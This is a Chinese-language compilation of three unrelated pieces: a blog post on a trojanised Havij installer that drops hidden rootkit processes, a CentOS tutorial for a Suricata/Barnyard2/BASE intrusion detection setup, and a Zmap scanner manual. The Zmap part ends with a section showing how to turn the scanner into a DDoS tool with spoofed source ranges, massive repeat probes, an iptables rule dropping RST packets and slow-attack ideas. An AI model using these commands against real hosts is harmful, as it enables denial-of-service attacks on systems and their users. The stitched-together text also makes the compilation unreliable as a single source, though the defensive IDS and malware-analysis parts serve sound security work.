突然记起我在7月22号转载了一个早期的版本,那个是时候还没有Cracked版本出现,只是安装程序。 http://hi.baidu.com/vexs_exp/item/bfaa5855614bbfdfd58bac5b 在这个帖子中明确提到这个包存在古怪,但当时没时间详细分析。

刚刚我重新下载了这个包,简单分析了下,事情原来是这样的:

图标都是白色的,二次打包后的表现。

运行Havij 1.16Pro.exe会释放两个文件到C:\Documents and Settings\Administrator\Local Settings\Application Data。

C:\Documents and Settings\Administrator\Local Settings\Application Data\taskung.exe C:\Documents and Settings\Administrator\Local Settings\Application Data\svhost.exe 然后会启动真实的安装程序Havij 1.16 Pro.exe,这个会释放在临时文件夹里%temp%。

上面两个恶意文件会设为隐藏属性,进程互相监控,单杀一个另一个会自动激活并再次启动Havij 1.16 Pro.exe安装程序。

经分析taskung.exe和svhost.exe两个程序,使用C/#编译的,也加了壳,脱壳后分析源码,终于发现了可疑的地方。

其中taskung.exe那个是个rootkit。

当时我在帖子中明确提到这个包存在古怪,最好在虚拟机里自行提取真实的安装程序,当时偷了个懒也没具体分析恶意代码,到头来还得分析出来问题,这个懒看来还是没偷了,世界真的应该是这样吗?

分享到:

举报 浏览(1318) 评论(8) 转载(3)

你可能也喜欢

本文最近访客

8月3日

6月27日

5月8日

5月2日

1月28日

1月20日

12月29日

12月25日

评论 同时评论给

同时评论给原文作者

发布

500/0

angelc0deangelc0de回复vexs

幸亏vexs的分析,否则还真不知道呢,学习了。

2012-10-25 17:58 回复

vexsvexs回复park4park

请仔细读内容,然后再做判断。

2012-10-24 15:38 回复 vexsvexs回复angelc0de

在虚拟机里搞就行了。

2012-10-24 15:37 回复

park4parkpark4park安装失败,给挂了马了吗

2012-10-21 08:08 回复 angelc0deangelc0de呵呵,幸亏当时没安装啊,

2012-10-14 14:33 回复

xoo_xxooxoo_xxoo回复vexs

呵呵

2012-10-09 13:13 回复 vexsvexs回复xoo_xxoo

有时候生活就是这样。

2012-10-07 00:14 回复

xoo_xxooxoo_xxoo犀利哥

2012-09-29 21:27 回复

收起|查看更多

帮助中心 | 空间客服 | 投诉中心 | 空间协议

©2013 Baidu a

b c

d e

f

CentOS 6.2下安装基于Suricata + Barnyard 2 + Base 的⼊侵检测系

Posted on

CentOS 6.2下安装基于Suricata + Barnyard 2 + Base 的⼊侵检测系统

2013/08/05 19:24 | 五道口杀气

0x00 准备工作

CentOS 6.2我是最小化安装,同时使用163的源进行update,所以还需要安装如下的依赖包:
[root@root ~]$ sudo yum install gcc make pcre pcre-devel libpcap libpcap-devel

同时需要关闭iptables、ip6tables:

[root@root ~]$ sudo service iptables stop
[root@root ~]$ sudo service ip6tables stop
[root@root ~]$ sudo chkconfig --level 2345 iptables off
[root@root ~]$ sudo chkconfig --level 2345 ip6tables off

需要下载的软件: Suricata http://www.openinfosecfoundation.org/index.php/downloads
Barnyard 2
http://www.securixlive.com/barnyard2/
Base
http://base.secureideas.net/
yaml
http://pyyaml.org/
adodb
http://sourceforge.net/projects/adodb/
rules http://rules.emergingthreats.net/open/suricata/ emerging.rules.tar.gz
Image_Canvas
http://download.pear.php.net/package/Image_Canvas-0.3.3.tgz
Image_Graph
http://download.pear.php.net/package/Image_Graph-0.8.0.tgz

0x01 配置APM环境

Base需要APM(Apache、PHP、Mysql)环境,通过yum来进行安装。 [root@root ids]$ sudo yum install httpd php mysql mysql-server mysql-devel php-mysql php-gd php-pear

启动httpd、mysql服务

[root@root ids]$ sudo /etc/init.d/httpd start [root@root ids]$ sudo /etc/init.d/mysqld start

默认的web根目录是

/var/www/html ,在此目录新建phpinfo测试文件,来确认配置是否正确。

PS:mysql安装后root账号默认口令为空,通过下面命令可以修改root账号口令 [root@root ~]$ mysqladmin -uroot -p password [新密码]

0x02 安装Barnyard 2

安装过程如下: [root@root ids]$ tar zxvf barnyard2-1.9.tar.gz
[root@root ids]$ cd barnyard2-1.9
[root@root barnyard2-1.9]$ ./configure --with-mysql
[root@root barnyard2-1.9]$ make
[root@root barnyard2-1.9]$ sudo make install

0x03 安装Suricata

安装过程如下:

Suricata需要依赖yaml,首先安装yaml [root@root ids]$ tar zxvf yaml-0.1.4.tar.gz [root@root ids]$ cd yaml-0.1.4 [root@root yaml-0.1.4]$ ./configure [root@root yaml-0.1.4]$ make [root@root yaml-0.1.4]$ sudo make install [root@root ids]$ tar zxvf suricata-1.1.1.tar.gz [root@root ids]$ cd suricata-1.1.1 [root@root suricata-1.1.1]$ ./configure [root@root suricata-1.1.1]$ make [root@root suricata-1.1.1]$ sudo make install

0x04 配置Suricata、Barnyard 2

配置Barnyard 2

把Barnyard 2安装源文件中的

etc/barnyard2.conf 文件拷贝到Suricata的配置目录下 [root@root ids]$ cd barnyard2-1.9 [root@root barnyard2-1.9]$ sudo cp etc/barnyard2.conf /etc/suricata/

创建barnyard2日志目录

/var/log/barnyard2

[root@root ~]$ sudo mkdir /var/log/barnyard2

配置数据库

需要创建数据库和相应的账号 [root@root ~]$ mysql -uroot –p mysql> create database ids; mysql> grant create,select,update,insert,delete on ids./* to ids@localhost identified by 'ids123';

Barnyard 2安装源文件中的schemas/create_mysql是创建表的sql文件,通过如下方式建表:

[root@root ~]$ mysql -uids -p -Dids < ids/barnyard2-1.9/schemas/create_mysql

配置Suricata

创建Suricata配置目录和日志目录 [root@root ~]$ sudo mkdir /var/log/suricata [root@root ~]$ sudo mkdir /etc/suricata

把规则文件拷贝到Suricata配置目录下

[root@root ids]$ tar zxvf emerging.rules.tar.gz [root@root ids]$ sudo cp -R rules/ /etc/suricata/

把Suricata安装源文件中的

suricata.yaml/classification.config/reference.config 文件拷贝到Suricata的配置目录下

[root@root ids]$ cd suricata-1.1.1 [root@root suricata-1.1.1]$ sudo cp suricata.yaml classification.config reference.config /etc/suricata/

编辑barnyard2.conf文件

[root@root ~]$ cd /etc/suricata/ [root@root suricata]$ sudo vim barnyard2.conf

找到下面的内容

config reference_file: /etc/snort/reference.config config classification_file: /etc/snort/classification.config config gen_file: /etc/snort/gen-msg.map config sid_file: /etc/snort/sid-msg.map

更改为的内容如下:

config reference_file: /etc/suricata/reference.config config classification_file: /etc/suricata/classification.config config gen_file: /etc/suricata/rules/gen-msg.map config sid_file: /etc/suricata/rules/sid-msg.map

同时在文件的末尾添加如下行,红色的mysql数据库、账号信息根据实际情况填写

output database: log, mysql, user=ids password=ids123 dbname=ids host=localhost

编辑suricata.yaml文件

[root@root suricata]$ sudo vim suricata.yaml

找到

HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"

这一行,根据实际的网络情况来修改,在这里我修改为

HOME_NET: "[192.168.0.0/16]"

找到下面的内容:

host-os-policy: /# Make the default policy windows. windows: [0.0.0.0/0] bsd: [] bsd_right: [] old_linux: [] linux: [10.0.0.0/8, 192.168.1.100, "8762:2352:6241:7245:E000:0000:0000:0000"] old_solaris: [] solaris: ["::1"] hpux10: [] hpux11: [] irix: [] macos: [] vista: [] windows2k3: []

根据实际网络情况修改。

启动Suricata、Barnyard 2 [root@root ~]$ sudo /usr/local/bin/barnyard2 -c /etc/suricata/barnyard2.conf -d /var/log/suricata -f unified2.alert -w /var/log/suricata/suricata.waldo -D [root@root ~]$ sudo /usr/local/bin/suricata -c /etc/suricata/suricata.yaml -i eth1 -D

启动suricata的-i参数是镜像流量的网卡。

测试suricata工作是否正常,可以通过如下命令: [root@root suricata]$ curl www.testmyids.com

执行后,/var/log/suricata目录下的fast.log/suricata.waldo/unified2.alert/*文件大小发生变化,同时查看fast.log文件有如下类似的内容则表示suricata工作正常:

01/12/2012-02:16:27.964981 [//] [1:2013028:3] ET POLICY curl User-Agent Outbound [//] [Classification: Attempted Informa tion Leak] [Priority: 2] {TCP} 192.168.230.100:56260 -> 217.160.51.31:80 01/12/2012-02:16:28.309707 [//] [1:2100498:7] GPL ATTACK_RESPONSE id check returned root [//] [Classification: Potential ly Bad Traffic] [Priority: 2] {TCP} 217.160.51.31:80 -> 192.168.230.100:56260

0x05 配置Base

Base需要用到adodb以及Image_Canvas、Image_Graph绘图组件,配置过程如下:

解压adodb514.zip [root@root ids]$ unzip adodb514.zip

把adodb5拷贝到/usr/local/lib/目录下,这个目录随意指定,记下来后面要用到

[root@root ids]$ sudo cp -R adodb5 /usr/local/lib/

安装Image_Canvas、Image_Graph

[root@root ids]$ sudo pear install Image_Canvas-0.3.3.tgz [root@root ids]$ sudo pear install Image_Graph-0.8.0.tgz

解压base-1.4.5.tar.gz

[root@root ids]$ tar zxvf base-1.4.5.tar.gz

拷贝base-1.4.5到/var/www/html目录下

[root@root ids]$ sudo cp -R base-1.4.5 /var/www/html/base

更改/var/www/html/base的属主为apache

[root@root ids]$ cd /var/www/html/ [root@root html]$ sudo chown -R apache:apache base

然后通过浏览器访问http://192.168.230.100/base

enter image description here

根据页面中红色的部分提示来进行操作。

修改php.ini [root@root html]$ sudo vim /etc/php.ini

找到

error_reporting = E_ALL & ~E_DEPRECATED

内容,修改为如下:

error_reporting = E_ALL & ~E_DEPRECATED & ~E_NOTICE

重新载入apache配置

[root@root html]$ sudo /etc/init.d/httpd reload

然后点击“Continue”到下一步  enter image description here

选择语言,和前面我们的adodb5的路径,然后点击“Continue”  enter image description here

填写mysql相关信息,点击“Continue”继续  enter image description here

填写认证的相关信息,如果需要验证身份,请勾上“Use Authentication System”,点击“Continue”  enter link description here

点击“Create BASE AG”  enter image description here

点击“step 5”,跳到首页。

enter image description here

0x06 最后

以上是整个安装过程,IDS的价值在于规则设置的是否合适,根据实际情况设置合适的规则才能够体现IDS的强大。规则的设置见以后的文章。

来源 :http://drops.wooyun.org/tips/413

Zmap详细用户手册和DDOS的可行性

Posted on

Zmap详细用户手册和DDOS的可行性

2013/08/23 11:52 | livers

0x00 背景

Zmap是美国密歇根大学研究者开发出一款工具。在第22届USENIX安全研讨会,以超过nmap 1300倍的扫描速度声名鹊起。相比大名鼎鼎的nmap全网扫描速度是他最大的亮点。在千兆网卡状态下,45分钟内扫描全网络IPv4地址。

安装:

64位版本

Debian/Ubuntu 系列 Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt Step2: wget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz Step3: tar –zxvf v1.0.3.tar.gz Step4: cd zmap-1.0.3/src Step5: make && make install

32版本 (zmap 主页只说适用于64位linux,这里用BT5r3 32位同样安装成功,建议还是尽量选用64版本的)

Debian/Ubuntu 系列 Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt Step2: git clone git://github.com/zmap/zmap.git Step3: tar –zxvf v1.0.2.tar.gz Step4: cd zmap-1.0.2/src Step5: make && make install

Fedora, Red Hat Enterprise Linux, or CentOS版本:

只把step2替换成 sudo yum install gmp gmp-devel libpcap-devel gengetopt

如果想使用 redis用来存储则需要首先安装 Hiredis,并在step5中

make REDIS=true (加入此安装选项)

不是以root权限运行则需要配置:

setcap cap_net_raw=ep /usr/local/sbin/zmap

0x01 使用介绍:

安装完后,可直接调用zmap

1.最简单的调用

zmap -B 10M -p 80 -n 100000 -o results.txt

-B 是指的是带宽 -p 端口 -n 扫描多少个目标 -o 输出结果

整句表示利用10M带宽扫描100000IP地址的端口,并将结果输出到results.txt中。

我BT5 R3 测试时,必须加入-G 参数 zmap -B 10M -p 80 -n 100000 -G "01:00:5e:00:00:02" -o results.txt

-G 是指定出口的mac地址,必须为网关的实际mac地址,否则返回数据找不到信息。

如果扫到IP地址开了80端口,就会按照下列格式进行保存。 115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111

2.用的最多的指令

zmap -p 443 -G "00:00:00:00:00:00"

检测全网络SSL/STL使用状况,ZMAP几个研究项目都与此有关。  enter image description here

可见我使用的扫描全网的所得大约9小时16分钟,网络为10MADSL带宽,ADSL上行速度只有100k左右,导致时间加倍延迟。

3.常用参数

-p, --target-port=port

指定扫描的目标端口

-o, --output-file=name

把结果写入指定文件 -o result.txt

-b, --blacklist-file=path

IP地址黑名单,例如192.168.0.0/16 表示 192.168.x.x将不被扫描,默认提供一份 RFC 1918保留和内网地址供参考,存放位置在

conf/blacklist.conf

zmap -p 443 -G "00:00:00:00:00:00" -b conf/blacklist.conf -n, --max-targets=n

最大扫描IP地址数量,-n 100 表示总归扫描100个IP地址。也可指定 –n 0.1%形式,表示扫描除去黑名单列表里面全网段的0.1%数量的IP地址。

-N, --max-results=n

最大扫描到结果的IP数量,-N 100 表示扫描到100个存在的结果就停止。

-t, --max-runtime=secs

最大扫描时间,-t 10 表示程序运行10s结束。

-r, --rate=pps

设置每秒发送包的数量 –r 10000 表示每秒发送10k个包。

-B, --bandwidth=bps

设置每秒发送包的大小,-B 10M 表示每秒发送10Mbps 支持单位(GMK)。

-c, --cooldown-time=secs

设置数据包发送完之后多长时间开始接受数据(response),默认8s,TCP连接异步接受。

-e, --seed=n

设置扫描随机地址的顺序,C语言中的伪随机种子,指定 定值每次随机扫描的IP地址顺序是一样。

-T, --sender-threads=n

设置扫描线程。默认是1,经测试单线程基本是把网络带宽充分利用。

-P, --probes=n

设置往每个IP发送包的数量,默认为1。(DDOS的参数之一)。

-d, --dryrun

打印出每个包的内容,非常实用的功能。

-s, --source-port=port|range

设置扫描的源端口,可指定范围 –s 30000-50000。(DDOS的参数之一)。

-S, --source-ip=ip|range

设置扫描的源IP地址,可指定范围-S 100.100.0.1-200.200.200.200(DDOS的参数之一)。

-G, --gateway-mac=addr

设置网关的mac地址,可伪造。(DDOS的参数之一)

-M, --probe-module=name

设置扫描模式,参数tcp_synscan(默认),icmp_echoscan(ping扫描),udp(测试速度要逊于前两个),这里可自定义自己的模块,ZMAP作者后续会增加例如自定义UDP payload 的选项。(`/*udp_send_msg = "GET / HTTP/1.1

"; // Must be null-terminated`)源码里不可直接更改 (1.0.3版本加入UDP Data Probes可进行自定义) -O, --output-module=name

设置结果输出模块,参数simple_file(默认),extended_file。

Simple_file 模式如下 115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111

Extended File模式如下

response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681

扫描模块和输出模块都提供了API ,可自己根据需要添加功能。

--quiet

安静状态下运行,不把进度信息打印到屏幕上

--summary

输出结果汇总,对研究人员来说 非常有帮助。

0x02 三个额外的扩展应用

抓取指纹,简言之抓取response 为识别类似SSH,http 401之类的信息做准备。

这里 examples / banner-grab 目录下

首先 make 生成banner-grab-tcp

向http-req 文件写入要发送的数据 (也可以自定义SSH-req 之类)

如: echo -e -n "GET / HTTP/1.1 Host: %s " > http-req

(%s 保留,其他可任意构造HTTP请求,包括GET,POST)

这里扩展下 banner-grab-tcp下的参数 -c, --concurent 每次的连接数,最好低于1000,想要高于1000则必须设置ulimit -SSn 1000000andulimit -SHn 1000000` 突破每个文件最大进程数1024 -p, --port 连接的端口 -t, --conn-timeout 连接超时时间 -r, --read-timeout 响应超时时间 -v, --verbosity 列取信息详细程度 ,与sqlmap 类似 -f, --format 输出文件格式hex,ascii,base64 -d, --data 发送的数据信息 就是前面设置http-req

源码里 /#define MAX_BANNER_LEN 1024 接收的每条返回数据,只接收1024字节,根据需要可自行更改。

与zmap 联合使用

例子 zmap -p 80 -N 1000 -o - | ./banner-grab-tcp -p 80 -c 100 -d http-req > http-banners.out

zmap扫描1000个80端口开放的IP地址,banner-grab-tcp 来扫描这些IP地址,扫描请求内容通过http-req可自定义 .

forge-socket

与Banner Grab功能一样,参数也类似,不再重复。

主要是安装方式不同

要先安装下列驱动 git clone git@github.com:ewust/forge_socket.git cd forge_socket make sudo insmod forge_socket.ko(以底层驱动方式 比Banner Grab效率高一些)

并且用iptables阻止发rst包

iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP

UDP Data Probes

1.03版本加入

详细的测试payload见

https://github.com/zmap/zmap/tree/master/examples/udp-probes

以探测mssql的1434端口为例: zmap -M udp -p 1434 --probe-args=file:examples/udp-probes/mssql_1434.pkt

pkt也可自行构造。

格式化配置

利用配置文件 简化命令行输入 interface "eth1" source-ip 1.1.1.4-1.1.1.8 gateway-mac b4:23:f9:28:fa:2d /# upstream gateway cooldown-time 300 /# seconds blacklist-file /etc/zmap/blacklist.conf output-file ~/zmap-output quiet summary

上述指令上面全部有介绍。

很显然,可以通过配置文件更快速配置zmap.

使用方法: zmap --config=~/.zmap.conf --target-port=443

0x03 原理分析

Know it

首先讲下TCP三次握手。

在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。

enter image description here

可见三次握手存在于发送-应答-发送机制,等待监听的时间势必导致发包速度很慢。

这里zmap是发送SYN,随后发送RST(重置连接),不存在监听同步操作,清空连接,再继续发下一个数据包。 而对于识别 zmap把 Ip地址和端口做了类似hash表一样的映射,当数据包返回时(可能是Syn+Ack,也可能RST),取出返回数据包里Ip和端口地址进行储存的hash表里查询,并对应处理记录。 同步变异步高效的基本原因。

0x04 发散扩展

DDoS的可行性:

作者旨在关注全网的扫描,并未提及相关DDoS 的信息。

也并未特别提供指向型发包的指令。

下面讨论可能与作者想法相违,希望各位重在技术钻研,而非一些恶意破坏。

指定ip段 和ip地址 -w, --whitelist-file=path

限制只扫描文件中的下列地址或者地址段,例如:

222.222.221.82/24 (192.168.1.0-255 )(可利用种子 –seed 调整从那个IP开始)

单个Ip地址

222.222.221.82/32 (随机找了一个,这里1.02版本测试不能直接,需要改 blacklist.c和constraint.c 中生成IP地址的二叉树的root节点一小部分代码)

然后利用

-P 10000000 (重复多次发包) -s 2000-60000 (设置一个大的端口段) -S 20.20.20.0-200.200.200.200(随机大量Ip地址,模拟分布式的D) -G 这个伪造mac (但是收不到数据包) Zmap –p 80 -P 10000000 -s 2000-60000 -S 20.20.20.0-200.200.200.200 -w attack_url.txt

见下列发送的数据效果,达到预期

enter image description here

可能造成什么样的危害?

可以配置IP Spoofing,syn flood,land attack, ICMP floods, Application floods 和其他UDP 全零等多种攻击。

Zmap 的发包速度甚至可以忽略一下 随后发的这个rst 包。

也可以做得完美一点就是利用iptables iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP

把发出去的RST包给drop掉。

可以再升一下?

毕竟有部分扩展能控制到应用层也是可以进行慢攻击。

Get 类型 echo -e -n "GET / HTTP/1.1 Host: %s " > http-req 替换成 echo -e -n "GET / HTTP/1.1 Host: %s " > http-req

Post 类型

可以把源码sizeof(value) 的值设置一个大的动态数值。 Post数据设置很小。

DDoS 流量 +连接数 +畸形包

流量基本只能硬防,拼硬件。

zmap几乎是最大限度利用网络带宽,10台G口服务器不会损耗多少,如果再利用DNS放大流量之类,很恐怖的数字。

Ps :

Zmap 某些方面和python 的scapy很像。

但zmap 纯C实现,比scapy效率要高一些。

以前老是纠结scapy 随后发送RST 问题,这里利用iptables 方式确实是个好方法。

参考其中的源码和相对规范的API接口,编写一些模块可以玩出很多花样。

LINK:

https://zmap.io/documentation.html

https://github.com/zmap/